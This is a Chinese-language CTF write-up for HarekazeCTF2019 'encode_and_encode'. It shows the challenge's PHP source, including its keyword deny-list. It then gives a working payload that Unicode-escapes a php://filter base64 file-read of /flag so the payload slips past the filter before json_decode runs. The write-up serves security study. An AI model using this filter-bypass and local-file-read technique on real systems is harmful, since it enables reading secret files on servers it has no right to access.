首页 > 其他分享 >[HarekazeCTF2019]encode_and_encode

[HarekazeCTF2019]encode_and_encode

时间:2023-01-08 23:23:55浏览次数:35  
标签:u002f content HarekazeCTF2019 json u0065 encode page

[HarekazeCTF2019]encode_and_encode

考点:json_decode的unicode编码绕过

进入题目后,很容易就可以看到源码query.php

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

通过分析代码,在is_valid函数这块过滤了流控制器flag

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

在这里通过post接受json数据然后解析

$body = file_get_contents('php://input');
$json = json_decode($body, true);

通过了两个判断

  1. post数据中不能存在黑名单内容,并且有page键
  2. 读取的文件内不能有黑名单内容且文件内容不为空
if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

通过查阅PHP的json_decode函数,发现Unicode编码后的内容通过json_decode可以被正常解析

<?php
$body = '{"page":"/fl\u0061g"}';
$a = json_decode($body,true);
var_dump($a['page']);

image-20211208225403126

因为是对$body进行过滤,最后file_get_contents的参数是解析过后的内容,然后再通过php://filter/read=conver.base64-encode用来绕过第二个判断和最后的replace

payload:
{"page":"php://filter/read=convert.base64-encode/resource=/flag"}
unicode encode=>
{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

这里我用HackBar传json数据失败了,这里用的postman,当然用bp也是可以的

image-20211208225928494

标签:u002f,content,HarekazeCTF2019,json,u0065,encode,page
From: https://www.cnblogs.com/seizer/p/17035720.html

相关文章

  • C# to PHP base64 encode/decode
    ​​http://stackoverflow.com/questions/257462/c-sharp-to-php-base64-encode-decode​​We shouldprobablyURLEncodeyourBase64stringontheC#sidebeforeyou......
  • 变分自编码器 - VAE: Variational Auto-Encoder
    总之,VAE本身是一个生成模型,我们假设观测的某个变量\(\mathbf{x}\)(比如数字0~9的各种图像)受到隐变量\(\mathbf{z}\)的影响,那么在得到分布后,只需要采样得到一个\(\mat......
  • 【李宏毅机器学习】自编码器auto-encoder
    note:VAE的本质结构:重构的过程是希望没噪声的,而KLloss则希望有高斯噪声的,两者是对立的。所以,VAE跟GAN一样,内部其实是包含了一个对抗的过程,只不过它们两者是混合起来,共......
  • JJencode和emoji加密
    JavaScript混淆是一种常用的手段,用于在不改变代码功能的情况下使代码难以被人阅读和理解。本文将介绍两种常见的JavaScript混淆方法——JJencode和emoji加密,并给出解......
  • Python encode()方法和decode()方法
    Pythonencode()方法encode()方法为字符串类型(str)提供的方法,用于将str类型转换成bytes类型,这个过程也称为“编码”。encode()方法的语法格式如下:str.encode([enco......
  • python使用request发送x-www-form-urlencoded类型的数据
    场景:当接口的Content-Type类型是x-www-form-urlencoded,使用json类型去请求,无法请求成功解决方法:使用parse.urlencode()方法对json数据进行解码处理,再传入。实例代码如下......
  • [深度学习] Contractive Autoencoder
    ​ 转载于DeepLearning:ContractiveAutoencoder-dupuleng-博客园一、雅克比矩阵雅克比矩阵是一阶偏导,假设(x1,x2,....,xn)到(y1,y2,...,ym)的映射,相当于m个n元函......
  • Media Encoder 2021 for Mac(ame 2021永久版) v15.4.1中文版
    MediaEncoder2021中文版是一款优秀的视频音频编码器,能够将多种设备格式的音频或视频进行导出,提供了丰富的硬件设备编码格式设置以及专业设计的预设设置,方便用户导出与特定......
  • 【机器学习】李宏毅——AE自编码器(Auto-encoder)
    1、What在自编码器中,有两个神经网络,分别为Encoder和Decoder,其任务分别是:Encoder:将读入的原始数据(图像、文字等)转换为一个向量Decoder:将上述的向量还原成原始数据的形式......
  • Python requests.post 发送中文 'latin-1' codec can't encode characters in positio
    headers={"Content-type":"application/json;charset=utf-8","Authorization":"bearer"+token}data={#上游任务id名称'upstreamTaskI......